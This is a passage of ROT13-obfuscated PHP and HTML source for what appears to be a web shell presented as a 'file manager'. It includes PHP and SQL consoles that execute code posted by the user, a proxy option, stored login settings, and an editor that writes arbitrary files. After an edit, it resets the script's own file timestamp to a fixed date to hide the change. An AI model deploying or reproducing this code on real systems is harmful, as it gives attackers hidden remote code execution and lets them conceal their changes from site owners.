hey("qngn:vzntr/cat;onfr64,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");
}

.svyr {
    onpxtebhaq-vzntr: hey("qngn:vzntr/cat;onfr64,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");
}
<?=sz_ubzr_fglyr()?>
.vzt {
	onpxtebhaq-vzntr: 
hey("qngn:vzntr/cat;onfr64,vIOBEj0XTtbNNNNAFHuRHtNNNONNNNNDPNZNNNNbYD9GNNNNOTqOGHRNNX/VAjJX6DNNNqSDGSES7r3g/s39cW+s+pWnwI8d6racxTVz/fSB/+2B393p5hoz/fkoq29lvzqarSt65BGx2mbL6hUv1mNF1peWfUf2altb3Aeo2YOKeLgz2c5N/+uKcbEdcXBxjev46+ie0ZT36Lfm6hwczV6NamHljY+/zKIFzVOA8ojjw1IOlYTmn1MW0AQDwLFO/9AwjM6PjHNfkx0oeMlJj7czTM4N6YgqxUqs/+A8lbj27o5J87EAYMY/2ovC7jNN//TWy5rK4AsLfnnYtc6u1o+g/+6E68Sr89lpvzMq/hDi3e9AhcPO99I25n1pIWooaUuB/8kF+ZOn8sQjv2Wv48dv/+dBqIVmf34k//TBKVmLc5FC/fktdcvVpc+/fvDcpzcfgnlfmFNAhXXG9CG04hYvjVxl8YqR+fIJidnz8r/iY5VM+eyU8pAt08Ppm7nq8iYl9YgH1dlHhM4+e512+8f/jHcY3q3qk7J1sTAn/89M2psU+f5a6Bwbo1Lgf7Xm19sKjVt4c1qA+Cw4mYE0+8cq7fgeuXNf/9uw/9OI1XgsgYF1ac2qLyWFMSII5YEJuRSO5euM/9Wd0UgG//PFxVdW6X5Q+YAAoyIIiwZ047MZm7r31kRT////gXth6jNNNWg0Hx5G/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////jPIIcXLNNNNTKESJUEGo2M0q2SlMDOOMT9vMFOWoJSaMIWyLJE5ppyyCNNNNAMWERSHXSAwzXJvCDfMZZkvzfdCXcNo2ZfNMAwYBjxmttIzWLalcf/DR59rXPRgOunLSEswMhGuU27yL6xdOkLbeF/BZP5jvUMxy2DPPIGxA+gegSw4MFcZznjQSOQ0yPblamMOy1aVWw55RyON09cqip9ohG1FLXLOJj1DVP0bALfweSUWcFxiELfOXPPoZ9UYA9gJeodawHHTMT1NuThVKMEmcDy3nTjQ2O2pMM2mRbY7J+h6dlNhaMKVBZiDeSlxdjGvSmODABKw4DXmbNXmnwgLVDjNyigcy3I5p8ZNNNNNFHIBEX5PLVV=");
}
@zrqvn fperra naq (znk-jvqgu:720ck){
  gnoyr{qvfcynl:oybpx;}
    #sz_gnoyr gq{qvfcynl:vayvar;sybng:yrsg;}
    #sz_gnoyr gobql gq:svefg-puvyq{jvqgu:100%;cnqqvat:0;}
    #sz_gnoyr gobql ge:agu-puvyq(2a+1){onpxtebhaq-pbybe:#RSRSRS;}
    #sz_gnoyr gobql ge:agu-puvyq(2a){onpxtebhaq-pbybe:#QRR3R7;}
    #sz_gnoyr ge{qvfcynl:oybpx;sybng:yrsg;pyrne:yrsg;jvqgu:100%;}
	#urnqre_gnoyr .ebj2, #urnqre_gnoyr .ebj3 {qvfcynl:vayvar;sybng:yrsg;jvqgu:100%;cnqqvat:0;}
	#urnqre_gnoyr gnoyr gq {qvfcynl:vayvar;sybng:yrsg;}
}
</fglyr>
</urnq>
<obql>
<?cuc
$hey_vap = '?sz=gehr';
vs (vffrg($_CBFG['fdyeha'])&&!rzcgl($sz_pbasvt['ranoyr_fdy_pbafbyr'])){
	$erf = rzcgl($_CBFG['fdy']) ? '' : $_CBFG['fdy'];
	$erf_yat = 'fdy';
} ryfrvs (vffrg($_CBFG['cuceha'])&&!rzcgl($sz_pbasvt['ranoyr_cuc_pbafbyr'])){
	$erf = rzcgl($_CBFG['cuc']) ? '' : $_CBFG['cuc'];
	$erf_yat = 'cuc';
} 
vs (vffrg($_TRG['sz_frggvatf'])) {
	rpub ' 
<gnoyr pynff="jubyr">
<sbez zrgubq="cbfg" npgvba="">
<ge><gu pbyfcna="2">'.__('Svyr znantre').' - '.__('Frggvatf').'</gu></ge>
'.(rzcgl($zft)?'':'<ge><gq pynff="ebj2" pbyfcna="2">'.$zft.'</gq></ge>').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj fvmr bs gur sbyqre'),'fubj_qve_fvmr').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' '.__('cvpgherf'),'fubj_vzt').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' '.__('Znxr qverpgbel'),'znxr_qverpgbel').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' '.__('Arj svyr'),'arj_svyr').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' '.__('Hcybnq'),'hcybnq_svyr').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' CUC irefvba','fubj_cuc_ire').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' CUC vav','fubj_cuc_vav').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' '.__('Trarengvba gvzr'),'fubj_tg').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' kyf','fubj_kyf').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' CUC '.__('Pbafbyr'),'ranoyr_cuc_pbafbyr').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' FDY '.__('Pbafbyr'),'ranoyr_fdy_pbafbyr').'
<ge><gq pynff="ebj1"><vachg anzr="sz_pbasvt[fdy_freire]" inyhr="'.$sz_pbasvt['fdy_freire'].'" glcr="grkg"></gq><gq pynff="ebj2 jubyr">FDY freire</gq></ge>
<ge><gq pynff="ebj1"><vachg anzr="sz_pbasvt[fdy_hfreanzr]" inyhr="'.$sz_pbasvt['fdy_hfreanzr'].'" glcr="grkg"></gq><gq pynff="ebj2 jubyr">FDY hfre</gq></ge>
<ge><gq pynff="ebj1"><vachg anzr="sz_pbasvt[fdy_cnffjbeq]" inyhr="'.$sz_pbasvt['fdy_cnffjbeq'].'" glcr="grkg"></gq><gq pynff="ebj2 jubyr">FDY cnffjbeq</gq></ge>
<ge><gq pynff="ebj1"><vachg anzr="sz_pbasvt[fdy_qo]" inyhr="'.$sz_pbasvt['fdy_qo'].'" glcr="grkg"></gq><gq pynff="ebj2 jubyr">FDY QO</gq></ge>
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' Cebkl','ranoyr_cebkl').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' cucvasb()','fubj_cucvasb').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' '.__('Frggvatf'),'sz_frggvatf').'
'.sz_pbasvt_purpxobk_ebj(__('Erfgber svyr gvzr nsgre rqvgvat'),'erfgber_gvzr').'
'.sz_pbasvt_purpxobk_ebj(__('Svyr znantre').': '.__('Erfgber svyr gvzr nsgre rqvgvat'),'sz_erfgber_gvzr').'
<ge><gq pynff="ebj3"><n uers="'.sz_hey().'?sz_frggvatf=gehr&sz_pbasvt_qryrgr=gehr">'.__('Erfrg frggvatf').'</n></gq><gq pynff="ebj3"><vachg glcr="fhozvg" inyhr="'.__('Fnir').'" anzr="sz_pbasvt[sz_frg_fhozvg]"></gq></ge>
</sbez>
</gnoyr>
<gnoyr>
<sbez zrgubq="cbfg" npgvba="">
<ge><gu pbyfcna="2">'.__('Frggvatf').' - '.__('Nhgubevmngvba').'</gu></ge>
<ge><gq pynff="ebj1"><vachg anzr="sz_ybtva[nhgubevmr]" inyhr="1" '.($nhgu['nhgubevmr']?'purpxrq':'').' glcr="purpxobk" vq="nhgu"></gq><gq pynff="ebj2 jubyr"><ynory sbe="nhgu">'.__('Nhgubevmngvba').'</ynory></gq></ge>
<ge><gq pynff="ebj1"><vachg anzr="sz_ybtva[ybtva]" inyhr="'.$nhgu['ybtva'].'" glcr="grkg"></gq><gq pynff="ebj2 jubyr">'.__('Ybtva').'</gq></ge>
<ge><gq pynff="ebj1"><vachg anzr="sz_ybtva[cnffjbeq]" inyhr="'.$nhgu['cnffjbeq'].'" glcr="grkg"></gq><gq pynff="ebj2 jubyr">'.__('Cnffjbeq').'</gq></ge>
<ge><gq pynff="ebj1"><vachg anzr="sz_ybtva[pbbxvr_anzr]" inyhr="'.$nhgu['pbbxvr_anzr'].'" glcr="grkg"></gq><gq pynff="ebj2 jubyr">'.__('Pbbxvr').'</gq></ge>
<ge><gq pynff="ebj1"><vachg anzr="sz_ybtva[qnlf_nhgubevmngvba]" inyhr="'.$nhgu['qnlf_nhgubevmngvba'].'" glcr="grkg"></gq><gq pynff="ebj2 jubyr">'.__('Qnlf').'</gq></ge>
<ge><gq pynff="ebj1"><grkgnern anzr="sz_ybtva[fpevcg]" pbyf="35" ebjf="7" pynff="grkgnern_vachg" vq="nhgu_fpevcg">'.$nhgu['fpevcg'].'</grkgnern></gq><gq pynff="ebj2 jubyr">'.__('Fpevcg').'</gq></ge>
<ge><gq pbyfcna="2" pynff="ebj3"><vachg glcr="fhozvg" inyhr="'.__('Fnir').'" ></gq></ge>
</sbez>
</gnoyr>';
rpub sz_gcy_sbez('cuc'),sz_gcy_sbez('fdy');
} ryfrvs (vffrg($cebkl_sbez)) {
	qvr($cebkl_sbez);
} ryfrvs (vffrg($erf_yat)) {	
?>
<gnoyr pynff="jubyr">
<ge>
    <gu><?=__('Svyr znantre').' - '.$cngu?></gu>
</ge>
<ge>
    <gq pynff="ebj2"><gnoyr><ge><gq><u2><?=fgegbhccre($erf_yat)?> <?=__('Pbafbyr')?><?cuc
	vs($erf_yat=='fdy') rpub ' - Qngnonfr: '.$sz_pbasvt['fdy_qo'].'</u2></gq><gq>'.sz_eha_vachg('cuc');
	ryfr rpub '</u2></gq><gq>'.sz_eha_vachg('fdy');
	?></gq></ge></gnoyr></gq>
</ge>
<ge>
    <gq pynff="ebj1">
		<n uers="<?=$hey_vap.'&cngu=' . $cngu;?>"><?=__('Onpx')?></n>
		<sbez npgvba="" zrgubq="CBFG" anzr="pbafbyr">
		<grkgnern anzr="<?=$erf_yat?>" pbyf="80" ebjf="10" fglyr="jvqgu: 90%"><?=$erf?></grkgnern><oe/>
		<vachg glcr="erfrg" inyhr="<?=__('Erfrg')?>">
		<vachg glcr="fhozvg" inyhr="<?=__('Fhozvg')?>" anzr="<?=$erf_yat?>eha">
<?cuc
$fge_gzcy = $erf_yat.'_grzcyngrf';
$gzcy = !rzcgl($$fge_gzcy) ? wfba_qrpbqr($$fge_gzcy,gehr) : '';
vs (!rzcgl($gzcy)){
	$npgvir = vffrg($_CBFG[$erf_yat.'_gcy']) ? $_CBFG[$erf_yat.'_gcy'] : '';
	$fryrpg = '<fryrpg anzr="'.$erf_yat.'_gcy" gvgyr="'.__('Grzcyngr').'" bapunatr="vs (guvf.inyhr!=-1) qbphzrag.sbezf[\'pbafbyr\'].ryrzragf[\''.$erf_yat.'\'].inyhr = guvf.bcgvbaf[fryrpgrqVaqrk].inyhr; ryfr qbphzrag.sbezf[\'pbafbyr\'].ryrzragf[\''.$erf_yat.'\'].inyhr =\'\';" >'."\a";
	$fryrpg .= '<bcgvba inyhr="-1">' . __('Fryrpg') . "</bcgvba>\a";
	sbernpu ($gzcy nf $xrl=>$inyhr){
		$fryrpg.='<bcgvba inyhr="'.$inyhr.'" '.((!rzcgl($inyhr)&&($inyhr==$npgvir))?'fryrpgrq':'').' >'.__($xrl)."</bcgvba>\a";
	}
	$fryrpg .= "</fryrpg>\a";
	rpub $fryrpg;
}
?>
		</sbez>
	</gq>
</ge>
</gnoyr>
<?cuc
	vs (!rzcgl($erf)) {
		$sha='sz_'.$erf_yat;
		rpub '<u3>'.fgegbhccre($erf_yat).' '.__('Erfhyg').'</u3><cer>'.$sha($erf).'</cer>';
	}
} ryfrvs (!rzcgl($_ERDHRFG['rqvg'])){
	vs(!rzcgl($_ERDHRFG['fnir'])) {
		$sa = $cngu . $_ERDHRFG['rqvg'];
		$svyrzgvzr = svyrzgvzr($sa);
	    vs (svyr_chg_pbagragf($sa, $_ERDHRFG['arjpbagrag'])) $zft .= __('Svyr hcqngrq');
		ryfr $zft .= __('Reebe bppheerq');
		vs ($_TRG['rqvg']==onfranzr(__SVYR__)) {
			gbhpu(__SVYR__,1415116371);
		} ryfr {
			vs (!rzcgl($sz_pbasvt['erfgber_gvzr'])) gbhpu($sa,$svyrzgvzr);
		}
	}
    $byqpbagrag = @svyr_trg_pbagragf($cngu . $_ERDHRFG['rqvg']);
    $rqvgyvax = $hey_vap . '&rqvg=' . $_ERDHRFG['rqvg'] . '&cngu=' . $cngu;
    $onpxyvax = $hey_vap . '&cngu=' . $cngu;
?>
<gnoyr obeqre='0' pryyfcnpvat='0' pryycnqqvat='1' jvqgu="100%">
<ge>
    <gu><?=__('Svyr znantre').' - '.__('Rqvg').' - '.$cngu.$_ERDHRFG['rqvg']?></gu>
</ge>
<ge>
    <gq pynff="ebj1">
        <?=$zft?>
	</gq>
</ge>
<ge>
    <gq pynff="ebj1">
        <?=sz_ubzr()?> <n uers="<?=$onpxyvax?>"><?=__('Onpx')?></n>
	</gq>
</ge>
<ge>
    <gq pynff="ebj1" nyvta="pragre">
        <sbez anzr="sbez1" zrgubq="cbfg" npgvba="<?=$rqvgyvax?>">
            <grkgnern anzr="arjpbagrag" vq="arjpbagrag" pbyf="45" ebjf="15" fglyr="jvqgu:99%" fcryypurpx="snyfr"><?=ugzyfcrpvnypunef($byqpbagrag)?></grkgnern>
            <vachg glcr="fhozvg" anzr="fnir" inyhr="<?=__('Fhozvg')?>">
            <vachg glcr="fhozvg" anzr="pnapry" inyhr="<?=__('Pnapry')?>">
        </sbez>
